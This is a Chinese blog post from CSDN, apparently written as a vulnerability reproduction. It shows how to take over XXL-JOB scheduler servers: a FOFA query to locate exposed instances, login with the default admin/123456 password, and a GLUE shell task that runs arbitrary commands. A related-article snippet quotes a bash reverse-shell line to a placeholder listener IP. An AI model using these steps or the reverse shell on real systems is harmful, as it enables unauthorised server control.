XXL-JOB任务调度中心后台命令执行漏洞

最新推荐文章于 2025-01-10 21:43:45 发布
最新推荐文章于 2025-01-10 21:43:45 发布
阅读量5.6k 收藏 4
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_36197704/article/details/115677154
版权

1.漏洞描述

       XXL-JOB任务调度中心后台存在命令执行漏洞，攻击者可在后台通过写入shell命令任务调度获取服务器控制权限。

2.资产查找

FOFA：app="XXL-JOB" || title="任务调度中心"

3.漏洞复现

1）以默认弱口令admin/123456进入后台

http://ip/toLogin

2）选择任务管理模块，新增任务

（PS：运行模式选择GLUE(Shell)）

3）点击 GLUE IDE编辑脚本，输入命令

4）操作选择执行一次

5）查看网站有回显，命令被成功执行

 

XXL-JOB 任务调度中心 后台任意命令执行漏洞
LiBai'S BLOG
10-17 3万+
在日常开发中，经常会用定时任务执行某些不紧急又非常重要的事情，例如批量结算，计算当日的订单量，当日的成本收入等。当存在大量定时任务的时候，任务的管理也会成为一个比较头痛的问题。XXL-JOB 任务调度中心系统存在后台命令执行漏洞，攻击者可以通过反弹shell执行任意命令，获取服务器管理权限。
【紧急预警】xxl-job 2.5.0存在高危漏洞！一文教你彻底修复安全隐患
最新发布
wu858773457的专栏
03-26 620
本文针对xxl-job 2.5.0版本中的高危漏洞提供了全面的修复指南，包括漏洞分析、依赖升级方案、Docker镜像构建等内容。通过升级关键依赖组件，成功消除了安全扫描中的高危告警。文章还提供了完整的操作步骤和代码示例，帮助读者轻松实现安全加固，保障系统安全运行。
当下的网络安全行业前景到底怎么样？还能否入行？
2201_75735270的博客
11-16 199
网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。
XXL-JOB远程命令执行漏洞
weixin_68647219的博客
11-07 1499
经工作发现，该漏洞是由于XXL-JOB 在默认配置下，用于调度通讯的 accessToken 不是随机生成的，而是使用 application.properties 配置文件中的默认值，如果用户没有修改该默认值，攻击者可利用该默认值在未授权的情况下绕过认证可能导致攻击者远程代码执行。2.资产测绘。
复现XXL-JOB 任务调度中心后台任意命令执行漏洞
记录并分享学习安全的知识点..
07-27 1893
XXL-JOB 任务调度中心攻击者可以在后台可以通过写入shell命令任务调度获取服务器权限。
XXL-JOB漏洞分析与利用
m0_63828240的博客
08-19 3175
在当今的数字化时代，任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务，确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。然而，随着其应用的普及，安全研究人员开始关注这些系统可能存在的潜在风险，一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。
XXL-JOB任意命令执行
平凡
06-24 370
在我们这个星球上，每天都要发生许多变化，有人倒霉了；有人走运了；有人在创造历史，历史也在成全或抛弃某些人。每一分钟都有新的生命欣喜地降生到这个世界，同时也把另一些人送进坟墓。这边万里无云，阳光灿烂；那边就可能风云骤起，地裂山崩。世界没有一天是平静的。可是对大多数人来说，生活的变化是缓慢的。今天和昨天似乎没有什么不同；明天也可能和今天一样。也许人一生仅仅有那么一两个辉煌的瞬间——甚至一生都可能在平淡无奇中度过……
XXL-JOB 漏洞大全
yggcwhat
09-20 3295
XXL-JOB 漏洞大全
XXL-Job任务调度中心后台RCE和executor未授权访问漏洞
gzy1616的博客
01-10 1309
bin/bash -i >& /dev/tcp/监控ip/5555 0>&1。运行模式选择shell，使用在线的dnslog网站，判断出不出网。执行命令后刷新在线的Dnslog网站发现命令执行成功。首先我们在Linux中搭建好靶场。输入密码admin/123456。找到任务管理新建一个任务。
XXL-JOB executor 未授权访问漏洞
热门推荐
qq_59201520的博客
03-28 1万+
XXL-JOB executor 未授权访问漏洞的漏洞复现和一些理解思考以及复现过程中的问题和解决
xxl-job反序列化漏洞记录
企业实战系列集 ●●● https://ximenjianxue.blog.youkuaiyun.com
04-09 1398
某次“春耕”期间，某业务系统发现xxl-job反序列化漏洞，通过该漏洞不仅爆破了页面账号密码，还获取了内网主机及数据库权限，“家”被偷了。XXL-JOB是一个轻量级分布式任务调度平台。支持通过web页面对任务进行操作，基于Java-spring boot框架开发，利用Maven依赖编译好，开箱即用。XXL-JOB任务调度中心后台存在命令执行漏洞，经过身份验证的（比如存在弱密码）攻击者可通过该漏洞接管服务器，造成严重信息泄露。
XXL-JOB executor 未授权访问漏洞_xxl-job漏洞(1)，2024年最新熬夜肝完这份Framework笔记
2401_84185224的博客
04-10 1217
glueType”:“BEAN”， //任务模式，可选值参考com.xx1.job.core.glue.alueTypeEnum。“executorTimeout”😮， //任务超时时间，单位秒，大于零时生效。“executorB1ockstrategy”:“cOVER_EARLY”, //任务阻塞策略，可选值参考。“gluesource”:“xxx”， //GLUE脚本代码。“jobId”:1， //任务ID。
CodeQL分析XXL-JOB默认accessToken命令执行漏洞
INSBUG的博客
11-10 1482
accessToken 本来是为了修复2020年xxl-job 执行器executor RESTful API 未授权访问 RCE 漏洞，为了防止其未授权添加了accessToken校验，但是很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token，与之前shiro的默认key泄漏导致的RCE原理很相似。CodeQL本质上和其他的代码审计工具没什么不同，都是通过规则来查询疑似有安全问题的代码，只是分析技术不同而已，且规则自由度大。
XXL-JOB executor未授权访问漏洞
jammny
12-04 8718
漏洞详情 XXL-JOB是一个轻量级分布式任务调度平台。默认情况下XXL-JOB的Restful API接口或RPC接口没有配置认证措施，未授权的攻击者可构造恶意请求，造成远程执行命令，直接控制服务器。 漏洞影响 XXL-JOB <= 2.2.0 漏洞分析 XXL-JOB的Restful API分为两种，一个调度中心Restful API，一个执行器Restful API。其中在执行器Restful API的任务触发声明中，发送请求的数据格式为： 地址格式： {执行器内嵌服务..
XXL-JOB executor 未授权访问漏洞_xxl-job漏洞，拥有百万粉丝的大牛讲述学网络安全的历程
m0_61549674的博客
04-06 1222
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
漏洞实战(2)：XXL-JOB默认密钥漏洞
OneMoreThink
03-20 3650
原理危害攻击搜索服务部署服务安装Java安装Maven安装XXL-JOB利用漏洞防御1、原理XXL-JOB[1]是一个分布式任务调度平台，分为调度中心和执行器两部分。在最新的两个版本中（2022年5月21日发布的2.3.1版本、2023年5月23日发布的2.4.0版本），XXL-JOB默认启用accessToken，在调度中心与执行器之间进行调度通讯时，用于证明自己的身份。accessToken的...
漏洞复现-XXL-JOB accessToken 存在身份认证绕过漏洞
玄道的网安博客
08-13 1616
官方已修复该漏洞，建议用户修改调度中心和执行器配置项 xxl.job.accessToken 的默认值。默认情况下是非空的，也就是xxl.job.accessToken=default_token。动态生效：用户在线通过Web IDE开发的任务代码，远程推送至执行器，实时加载执行。XXL-JOB为了灵活支持多语言以及脚本任务，提供了创新的 “是许雪里（XXL-JOB）社区的一款基于java语言的分布式任务调度平台。：任务以源码方式维护在调度中心，支持通过Web IDE在线开发、维护。
xxl-job任务调度源码包使用指南
标题中的“xxl-job 任务调度源码包”指向的是一个名为“xxl-job”的开源任务调度系统，它是一个分布式任务调度平台。xxl-job主要用于解决定时任务的管理问题，是为了解决传统开发方式中定时任务管理不便的问题而设计...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值